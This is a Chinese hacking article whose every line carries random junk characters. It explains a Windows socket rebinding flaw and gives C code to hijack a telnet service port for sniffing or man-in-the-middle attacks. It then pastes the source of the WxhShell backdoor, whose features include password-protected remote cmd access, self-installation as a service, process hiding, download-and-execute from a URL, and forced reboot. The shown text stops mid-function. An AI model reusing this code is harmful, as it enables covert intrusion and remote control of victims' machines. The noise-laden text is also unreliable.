在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
nv~%#|v_W s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
r}mbXvn =9fajRFTt saddr.sin_family = AF_INET;
f
(F)1 ".<DAs j saddr.sin_addr.s_addr = htonl(INADDR_ANY);
aPm`^
q ,v';>.] bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
^HqY9QT2 v33dxZ' 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
4<lRPsvgc ucG@?@JENm 这意味着什么?意味着可以进行如下的攻击:
rjp-Fw~1w P8*=Ls+-F 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
\ywXi~+kUv RF%KA[Dj 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
{6_|/KE9_ '<ZlGFt'n 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
'gPzm|f|t@ k6sI
L3QJ0 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
}Du}c3 z6w3"9Um 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
).sRv6/c a{qM2P(S 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
=A!@6Nw .`4{9?bR 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
g!+|I bqnNLs<N #include
"hzB9*"t #include
/#VhkC _ #include
/p+>NZ"b #include
~1W x= DWORD WINAPI ClientThread(LPVOID lpParam);
-8j+s}Q int main()
,u`YT%&L {
Pl"Nus WORD wVersionRequested;
s0k`p<q DWORD ret;
d\
1Og\U|A WSADATA wsaData;
qT`k*i? BOOL val;
:F{:Z*Fi0 SOCKADDR_IN saddr;
;I}kQ!q SOCKADDR_IN scaddr;
|!"`MIw, int err;
9&_<f}ou SOCKET s;
(<}&DE SOCKET sc;
/q5v"iX]T int caddsize;
/$'AjIg4:& HANDLE mt;
3~S8!nx DWORD tid;
:QB<?HaS' wVersionRequested = MAKEWORD( 2, 2 );
9&` 2V err = WSAStartup( wVersionRequested, &wsaData );
b/{t|io{ if ( err != 0 ) {
*22nVKi{ printf("error!WSAStartup failed!\n");
hR
Ue<0o: return -1;
C86J
IC" }
a+!tT!g&I saddr.sin_family = AF_INET;
I/L_@X<*r
7w/4QiI //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
pnbIiyV fDvl/|62{ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
Db1pW=66: saddr.sin_port = htons(23);
'{V0M<O if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
?Vf o+a, {
N=QfP printf("error!socket failed!\n");
[`rba' return -1;
glF; eT }
Y<Fz)dQo val = TRUE;
{O`w,dMOI //SO_REUSEADDR选项就是可以实现端口重绑定的
'4|-9M3f if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
D~$r\]av {
#R.-KUW: printf("error!setsockopt failed!\n");
NH<5*I/ return -1;
_q{c##Kf }
o\3L}Y //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
s8rE$ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
Ksy -e{n //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
,Qnd3[2[ oze& if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
yGPS`S {
^]a #7/]o ret=GetLastError();
P:aJ# printf("error!bind failed!\n");
"0cID3A$ return -1;
ek}a}.3 { }
zOa_X~!@ listen(s,2);
9)gC6IiW while(1)
L G1r]2 {
\8 h;K>=h caddsize = sizeof(scaddr);
eK!V
); //接受连接请求
^WNrGF sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
[ zEUH:9D if(sc!=INVALID_SOCKET)
)_i
qAqkS {
vbD{N3p)?n mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
YGPy@-,E if(mt==NULL)
Wv/%^3 {
(m:Zk$ printf("Thread Creat Failed!\n");
Oms. e break;
dOoK Lry }
Jh?dw3Ai^ }
!gv`FE9y CloseHandle(mt);
X6mqi;+ }
qQsku;C?i closesocket(s);
v>-VlQ WSACleanup();
dnb)/ return 0;
A' /KUi }
PX
n;C/ DWORD WINAPI ClientThread(LPVOID lpParam)
AG?dGj^ {
OI0;BBZ SOCKET ss = (SOCKET)lpParam;
d~`x )B( SOCKET sc;
ZO)S`W unsigned char buf[4096];
7e#?e+5+A SOCKADDR_IN saddr;
yA.4G_|I long num;
KFvQ DWORD val;
j;fpQ_KL DWORD ret;
.%Ta]!0 //如果是隐藏端口应用的话,可以在此处加一些判断
X~<(" //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
w`il=ZAC saddr.sin_family = AF_INET;
e*;c(3>( saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
ulkJR-""& saddr.sin_port = htons(23);
(Xq)p y9 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
)Ib<F7v {
*i- _6s printf("error!socket failed!\n");
cgm~> return -1;
L.1_(3NG }
0;:.B
j val = 100;
Wr3mQU if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
cnFI
&,FM {
\e'R@ ret = GetLastError();
<p\6AnkMr return -1;
g)_e]& }
|*'cF-lp6v if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
v{jQek4 {
.Jrqm ret = GetLastError();
G1"zElug return -1;
0DmMG }
O Vko+X` if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
tdSfi<y5I {
Ar:*oiU printf("error!socket connect failed!\n");
!2'jrJGc
closesocket(sc);
L?Qg#YSd~ closesocket(ss);
(
|PAx( return -1;
7"w2$*4 '0 }
3`B6w$z>( while(1)
L.2/*H#
{
QzzW x2 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
CFqJ/'' //如果是嗅探内容的话,可以再此处进行内容分析和记录
"E8zh|m o //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
;+<&8.=,) num = recv(ss,buf,4096,0);
1!1beR] if(num>0)
=RAh|e send(sc,buf,num,0);
ALNc'MW! else if(num==0)
Ju3*lk/j- break;
1QU:?_\6@t num = recv(sc,buf,4096,0);
<X7FMNr[ if(num>0)
Jnna$6G)B send(ss,buf,num,0);
L\&<sy"H else if(num==0)
MwR0@S}* break;
t0nI ('LX, }
NyVnA closesocket(ss);
N#Zhxu,g! closesocket(sc);
^H2-RBE# return 0 ;
20iq2 }
:w<V spGB)k,^ |/2y-[;: ==========================================================
P '>SmQ fVt9X*xKS 下边附上一个代码,,WXhSHELL
9P~\Mpk Q`rF&)Q5 ==========================================================
72X0Tq 4 i2sN3it #include "stdafx.h"
8 XICF zD(`B+ #include <stdio.h>
H~+ l7OhV #include <string.h>
9uer(}WKT #include <windows.h>
cu% C" #include <winsock2.h>
"=+7-` #include <winsvc.h>
gx&Tt #include <urlmon.h>
L dm?JrU d8m6B6
CW #pragma comment (lib, "Ws2_32.lib")
` bdZ/*E #pragma comment (lib, "urlmon.lib")
.hba*dV u6MzRC #define MAX_USER 100 // 最大客户端连接数
X83 w@-$} #define BUF_SOCK 200 // sock buffer
UQ +?\wi* #define KEY_BUFF 255 // 输入 buffer
_`I"0.B] F@* +{1R #define REBOOT 0 // 重启
LNa $
X5` #define SHUTDOWN 1 // 关机
`X`2:@gQ 7hi"6, #define DEF_PORT 5000 // 监听端口
aS pWsT #F*1V(! #define REG_LEN 16 // 注册表键长度
)*Q-.Je/U #define SVC_LEN 80 // NT服务名长度
KM!k$;my 6X\ 2GC9 // 从dll定义API
=Apxdnz, typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
{qmdm`V[ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
o.'g]Q<}UB typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
TP"1\O typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
%^8^yZz Uv?|G%cD- // wxhshell配置信息
EloMe~a3 struct WSCFG {
sPps q int ws_port; // 监听端口
Wa1,
p char ws_passstr[REG_LEN]; // 口令
TzntO9P+ int ws_autoins; // 安装标记, 1=yes 0=no
0%Z]h?EYy| char ws_regname[REG_LEN]; // 注册表键名
y /BJIQ char ws_svcname[REG_LEN]; // 服务名
xritonG/F char ws_svcdisp[SVC_LEN]; // 服务显示名
<]T` 3W9 char ws_svcdesc[SVC_LEN]; // 服务描述信息
PIWux{ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
9!Ar`Io2@ int ws_downexe; // 下载执行标记, 1=yes 0=no
\MmI`$ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
w1Ec_y { char ws_filenam[SVC_LEN]; // 下载后保存的文件名
>^Yq|~[ DF
g,Xa# };
h^*4}GU /MF!GM // default Wxhshell configuration
hTM[8 ~<^ struct WSCFG wscfg={DEF_PORT,
~O]]N;>72" "xuhuanlingzhe",
V~hlq$jn<Y 1,
PZm:T+5H "Wxhshell",
;i"*Ll>Q) "Wxhshell",
Y)$ ;Ax-D "WxhShell Service",
#."Hh<C "Wrsky Windows CmdShell Service",
V %_4% "Please Input Your Password: ",
m1IKVa7-\} 1,
mCWhUBghR "
http://www.wrsky.com/wxhshell.exe",
BA:yQ "Wxhshell.exe"
2PeR };
-YjA+XP \/SQ,*O // 消息定义模块
H{AMZyV0/d char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
E!Zx#XP1
char *msg_ws_prompt="\n\r? for help\n\r#>";
0z[dlHi char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
C-?%uF char *msg_ws_ext="\n\rExit.";
Q3 eM2i8Y char *msg_ws_end="\n\rQuit.";
(^5 7UmFv] char *msg_ws_boot="\n\rReboot...";
e+]6OV&+ char *msg_ws_poff="\n\rShutdown...";
m "M("% char *msg_ws_down="\n\rSave to ";
ncX/L[L Kv rX{F= char *msg_ws_err="\n\rErr!";
cPl`2&p char *msg_ws_ok="\n\rOK!";
1tJg#/? hxf'5uc char ExeFile[MAX_PATH];
8srBHslI int nUser = 0;
b-Z4
Jo
G HANDLE handles[MAX_USER];
wBInq~K_ int OsIsNt;
xxm%u9@s Wfz\`y SERVICE_STATUS serviceStatus;
gxT4PQDy SERVICE_STATUS_HANDLE hServiceStatusHandle;
$&=p+ /% I7Vc // 函数声明
%',F int Install(void);
cDoo* int Uninstall(void);
v$)q($}p int DownloadFile(char *sURL, SOCKET wsh);
/Ux*u# int Boot(int flag);
2TES>} void HideProc(void);
&I({T`= int GetOsVer(void);
sjM;s{gy int Wxhshell(SOCKET wsl);
w]_zp?\^
} void TalkWithClient(void *cs);
[<,~3oRu int CmdShell(SOCKET sock);
"GQl~ int StartFromService(void);
3-%Cw2ds int StartWxhshell(LPSTR lpCmdLine);
P1U*g! qTB$`f'|$ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
HJC(\\~ VOID WINAPI NTServiceHandler( DWORD fdwControl );
=rd|0K"(r 4#(ZNP // 数据结构和表定义
1TM~*<Jb SERVICE_TABLE_ENTRY DispatchTable[] =
teW6;O_ {
)%X;^(zKM {wscfg.ws_svcname, NTServiceMain},
/q@s {NULL, NULL}
G|m1.=DJm };
+'G0 {;b m$LVCB // 自我安装
#"ftI7=42 int Install(void)
MzYavg` {
9 Q!bt char svExeFile[MAX_PATH];
@O}7XRJ_8 HKEY key;
$fpq
3 strcpy(svExeFile,ExeFile);
~aXqU#8 ;+I/ I9~ // 如果是win9x系统,修改注册表设为自启动
<N(oDa U if(!OsIsNt) {
axk"^gps if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
n q19Q) RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
#Ch;0UvFF RegCloseKey(key);
3:5DL!Sm8J if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
&6j<c a RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
erl:9. RegCloseKey(key);
hAqg Iu* return 0;
>|o_wO }
phYDs9-K }
M|[ZpM+ }
W><dYy=z5 else {
+-a&2J;J' Y=*P
8pg // 如果是NT以上系统,安装为系统服务
QR>
Y%4 ;h SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
D%7kBfCb if (schSCManager!=0)
7yt=]1 {
m7%C#+67 SC_HANDLE schService = CreateService
` r']^
, (
Ao7 `G': schSCManager,
oA
tsUF+a wscfg.ws_svcname,
b}G24{ wscfg.ws_svcdisp,
3I|3wQ ( SERVICE_ALL_ACCESS,
?W0(|9 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
)ZejQ}$ SERVICE_AUTO_START,
sLcFt1 SERVICE_ERROR_NORMAL,
R
4wr svExeFile,
Z?^"\u- NULL,
@ 2_<,;$ NULL,
.9|uQEL NULL,
3_`szl- NULL,
=3 +l NULL
p\bFdxv# );
tVqmn if (schService!=0)
X8<2L2: {
n(lk
dw CloseServiceHandle(schService);
lM#A3/=K CloseServiceHandle(schSCManager);
O}#yijU3e strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
O {k:yVb strcat(svExeFile,wscfg.ws_svcname);
]Y.deVw3i if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
pl V7+?G RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
\;]kYO} RegCloseKey(key);
CiL94Nkd9 return 0;
!RlC~^
- }
M8@_Uj }
5M23/=
N CloseServiceHandle(schSCManager);
cgj.e }
On1v<SD$[ }
#vf_D?^ 2N~ E' 25 return 1;
z}.D"
P+ }
cX
A t:m *C,N'M<u // 自我卸载
/.=r>a}l int Uninstall(void)
yu
,h\ {
&!y]:CC{ HKEY key;
YCw('i(| D22Lu;E if(!OsIsNt) {
q2_`v5t if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
t]^_l$ RegDeleteValue(key,wscfg.ws_regname);
"L3Xd][ RegCloseKey(key);
hN(L@0) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Z,WW]Y,$ RegDeleteValue(key,wscfg.ws_regname);
{@r*+~C3 RegCloseKey(key);
?Ay3u^X return 0;
(Q-I8Y8l8 }
qi+&|80T. }
mjEs5XCC" }
PMKb ]y else {
o6?l/nJ zH'2s-.bi SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
+=8X8<Pu if (schSCManager!=0)
FBsn;,3<W {
5#_tE<uM SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
yty`2$O if (schService!=0)
Q-zdJt {
P Tnac if(DeleteService(schService)!=0) {
xaL#MIR"u" CloseServiceHandle(schService);
x.EgTvA&d CloseServiceHandle(schSCManager);
]@SU4 return 0;
]0D9N" }
D&*LBQ/K CloseServiceHandle(schService);
>;i\v7 }
Qg0vG] CloseServiceHandle(schSCManager);
'@:[axu }
{rPk3 }
/#yA%0=w DzPs!(5[I return 1;
A/Khk2-: }
h39e)%x1 =w<VT% // 从指定url下载文件
fW~*6ln int DownloadFile(char *sURL, SOCKET wsh)
7<yp"5><) {
{(\(m/!Z HRESULT hr;
PZ34 *q char seps[]= "/";
+AK:(r char *token;
/84bv= char *file;
<pOl[5v] char myURL[MAX_PATH];
*fP(6e#G, char myFILE[MAX_PATH];
>QI~`MiI .v,bXU$@YG strcpy(myURL,sURL);
iMWW%@U^= token=strtok(myURL,seps);
)
p^ while(token!=NULL)
G\1J _al {
Lh 9S8EU file=token;
d,R6` i token=strtok(NULL,seps);
L#j|2H| }
/Dw@d,&[ y`b\;kd GetCurrentDirectory(MAX_PATH,myFILE);
8D2yR#3 strcat(myFILE, "\\");
wZv-b*4 strcat(myFILE, file);
n+quSF) send(wsh,myFILE,strlen(myFILE),0);
,#aS/+;[) send(wsh,"...",3,0);
O3ZM:,. hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
Za!w#j%h if(hr==S_OK)
1D$::{h return 0;
d_iY&-gq/ else
J v<$*TVS0 return 1;
Ofm5[q= >h[(w }
sA\L7`2H M@O2
WB1ws // 系统电源模块
sPpS~wk* int Boot(int flag)
nx;$dxx_Ws {
4p x_ZD#J HANDLE hToken;
aQmfrx TOKEN_PRIVILEGES tkp;
u&SZlkf6% J" bD\% if(OsIsNt) {
;\s~%~\ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
_:5=|2-E LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
6To:T[ z# tkp.PrivilegeCount = 1;
-gSj>b7T tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
q5?L1 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
966<I56+ if(flag==REBOOT) {
a)S(p1BGg if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
+\U]p_Fo3 return 0;
h^d\xn9GT# }
;>C9@S+ else {
S*rO0s: if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
`r]TA]DR return 0;
yId;\o B }
y.fs,!|%@ }
&9@gm--b: else {
iIB9j8 if(flag==REBOOT) {
#7\b\~5 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
;[caiMA- return 0;
8{@`kyy| }
IM$0#2\ else {
_-6e0sr Z if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
hpjUkGm5 return 0;
|1i]L @& }
UnjNR[= }
C1D !
V:
{WKOJG+. return 1;
;24'f-Eri }
-s89)lUkS CfY7<o1> // win9x进程隐藏模块
O8$~*NFJf void HideProc(void)
Ft$^x-d {
a6qwL4 .}~$1QKS HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
oc((Yo+B if ( hKernel != NULL )
08O7F {
3/l\ <{ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
u6p5:oJj, ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
,,}sK FreeLibrary(hKernel);
,wlbIl~ }
s~)L_ p f^u^-l return;
J&
)#G@fRX }
Db,= 2e ~z>BfL // 获取操作系统版本
Wk,6) jS=} int GetOsVer(void)
i[8NO$tN1) {
b^%?S8]h OSVERSIONINFO winfo;
%awVVt{aG winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
vi<X3G6Xh GetVersionEx(&winfo);
}/49T if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
?n&$m return 1;
_l<|1nH else
QS5H>5M) return 0;
1GUqT 9) }
mw ?{LT D-~G|8g // 客户端句柄模块
-$OD }5ku# int Wxhshell(SOCKET wsl)
K Ka c6Zj {
E;xMPK$ SOCKET wsh;
TMNfJz struct sockaddr_in client;
bSY;[{Kl DWORD myID;
n'ehB%" XL&hs+Y while(nUser<MAX_USER)
5pB^Y MP {
Vj/fAHR`>' int nSize=sizeof(client);
ckAsGF_B~! wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
QP+c?ct}hF if(wsh==INVALID_SOCKET) return 1;
'xsbm^n6a& :cEd [Jm9 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
QTeFR&q8 if(handles[nUser]==0)
pK<%<dIc closesocket(wsh);
,;7`{Nab else
E3LBPXK nUser++;
r7RU"H:j8 }
b#Jo Xa9 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
@uoT{E[ HRj7n<>L= return 0;
WBy[m ?d }
<8g=BWA
!8we8)7 // 关闭 socket
L#`7 FaM? void CloseIt(SOCKET wsh)
C?{D"f`[] {
<sO?ev[ closesocket(wsh);
>6XDX=JVI nUser--;
c%jsu" ExitThread(0);
bd} r#^'K }
g&q]@m k?o^5@b/ // 客户端请求句柄
&|s+KP|d void TalkWithClient(void *cs)
Td5bDO {
ss/h[4h4h DgC3>
yL SOCKET wsh=(SOCKET)cs;
3Ca
\`m)l char pwd[SVC_LEN];
c]e`m6 char cmd[KEY_BUFF];
vlAO z char chr[1];
4}+xeGA$ int i,j;
zjea4>!A2 Akv(} !g while (nUser < MAX_USER) {
lj4%(rB= bd,Uz%o_ if(wscfg.ws_passstr) {
P8"6"}B;T if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
qbEKp HnB //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
/3OC7!~;fM //ZeroMemory(pwd,KEY_BUFF);
7WgIhQ~ i=0;
n?zbUA# while(i<SVC_LEN) {
$Z,i|K; 7U&5^s
)J // 设置超时
x(rd$oZO fd_set FdRead;
aB=vu=hF struct timeval TimeOut;
U)u\1AV5 FD_ZERO(&FdRead);
YR?3 61FK FD_SET(wsh,&FdRead);
$K+4C0wX` TimeOut.tv_sec=8;
Sjw2 j#Q TimeOut.tv_usec=0;
T"n>h int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
TNyK@~#m if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
f#'8"ff*1 zhuyePn if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
67}]s@:l]( pwd
=chr[0]; zv$Gma_
if(chr[0]==0xd || chr[0]==0xa) { ub[""M?
pwd=0; <\E"clZI
break; +8Of-ZUx
} f-vZ2+HP
i++; u+I3IdU3
} wy,Jw3
wCV>F-
// 如果是非法用户,关闭 socket #L_@s
d
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); NS7@8 #C
} \R6;Fef
E}]I%fi
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); F5<"ktnI
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G/NTe
"Q3PC!7X:5
while(1) { xN e_qO
fndK/~?]H
ZeroMemory(cmd,KEY_BUFF); c_@XQ&DC`
3DxZ#/!
// 自动支持客户端 telnet标准 eFt\D\XOW
j=0; Z[a O_6L
while(j<KEY_BUFF) { 8T8pAs0
p
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); j5PaSk&o=
cmd[j]=chr[0]; 4}.WhE|h
if(chr[0]==0xa || chr[0]==0xd) { u^}7Vs
.
cmd[j]=0; IUluJ.sXIf
break; 0$n8b/%.
} ^^n+
j++; =#OHxM
} T[i7C3QS
M,.b`1-w
// 下载文件
jz|Wj
if(strstr(cmd,"http://")) { ybD{4&ZE
send(wsh,msg_ws_down,strlen(msg_ws_down),0); (! xg$Kz@
if(DownloadFile(cmd,wsh)) )$ ofl%+
send(wsh,msg_ws_err,strlen(msg_ws_err),0); aEcktg6h
else i!CKA}",
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mgJShn8]
} B0-4ZT
else { ."~7 \E> t
lAdOC5+JX
switch(cmd[0]) { t7{L[C$
RnMB Gxa
// 帮助 @m+pr\h(
case '?': { ]NaMZ
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); y3&Tv
break; c'4>D,?1
} JK@izI
// 安装 |HaU3E*R
case 'i': { aDm-X r
if(Install()) *]{9K
send(wsh,msg_ws_err,strlen(msg_ws_err),0); tU+@1~
~
else 2"pE&QNd
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M[:O(
break; F,'^se4&
} ddUjs8VvJ
// 卸载 `U{o:
case 'r': { YWt"|
if(Uninstall()) qR [}EX&3
send(wsh,msg_ws_err,strlen(msg_ws_err),0); =q_&*'
else
91-P)%?
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [<#<:h&\
break; i1b4 J
} 3R)cbwL
// 显示 wxhshell 所在路径 uvu**s
case 'p': { (P
E#
Y(
char svExeFile[MAX_PATH]; Z:\;R{D
strcpy(svExeFile,"\n\r"); @D.R0uM
strcat(svExeFile,ExeFile); ?RgU6/2
send(wsh,svExeFile,strlen(svExeFile),0); s=H/b$v
break; y)?W-5zL
} N&0uXrw
// 重启 O ,Pl7x%tK
case 'b': { ,^MW)Gf<
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7,V!Iv^X
if(Boot(REBOOT)) tz\+'6NpOb
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7&;[an^w
else { <Dt/Rad
closesocket(wsh); 1R5\GKF6o
ExitThread(0); ]C}u-B746
} HI"!n$p
break; 2x<Qt2"
} BiHiVhD_
// 关机 &=s|
case 'd': { Ft%TnEp
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); T+AlcOP
if(Boot(SHUTDOWN)) aBqe+FXp4
send(wsh,msg_ws_err,strlen(msg_ws_err),0); s
T
:tFK\
else { %{N$1ht^
closesocket(wsh); ch5`fm
ExitThread(0); H6%!v1 u
} <F#*:Re_y
break; Sy+]SeF&
} Uy$U8b-ov
// 获取shell Y{Y;EY4
case 's': { ps!5HZ2:
CmdShell(wsh); U:mq7Rd8
closesocket(wsh); PBxK>a
ExitThread(0); Q.pEUDq/
break; 'f=) pc#&g
} Ckl7rpY+
// 退出 0@sr
NuW
case 'x': { V7B=+(xK
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); fG8}= xH_&
CloseIt(wsh); 9Sx<tj_4P{
break; WTV3p,;6a
} c-s`>m
// 离开 4! Oa4
case 'q': { `5k6s,
send(wsh,msg_ws_end,strlen(msg_ws_end),0); o@<6TlZM
closesocket(wsh); c:h.J4mv
WSACleanup(); Ac5o K
exit(1); O?j98H
Sya
break; &J6o$i
} RS||KA])J
} Q
!RVD*(
} .q_uJ_qu-
F9u:8;\@`
// 提示信息 rB.=f[aX[
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); eZR8<Z%
} 9Th32}H
} e\d5SKY
[5RFQ!
return; E1l\~%A
} 4P O%qO
yv!''F:9F
// shell模块句柄 %|D\j-~
int CmdShell(SOCKET sock) ;G4HMtL
{ hdsgOu
STARTUPINFO si; DmXDg7y7s
ZeroMemory(&si,sizeof(si)); @Q$/eL
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; r3c\;Ra7
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; MuFU?3ovG*
PROCESS_INFORMATION ProcessInfo; Ew?/@KAV\
char cmdline[]="cmd"; Z5*(W;;
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }GoOE=rhY
return 0; P[#WHbn
} qOcG|UgF
aV?}+Y{#
// 自身启动模式 ]df9'\
int StartFromService(void) j?f,~Y<k
{ g6@N PQ
typedef struct ~/|unV
{ 80 s~ae;
DWORD ExitStatus; H4y1Hpa,
DWORD PebBaseAddress; So)KI_M
DWORD AffinityMask; (v'lb!j^#
DWORD BasePriority; m m J)m
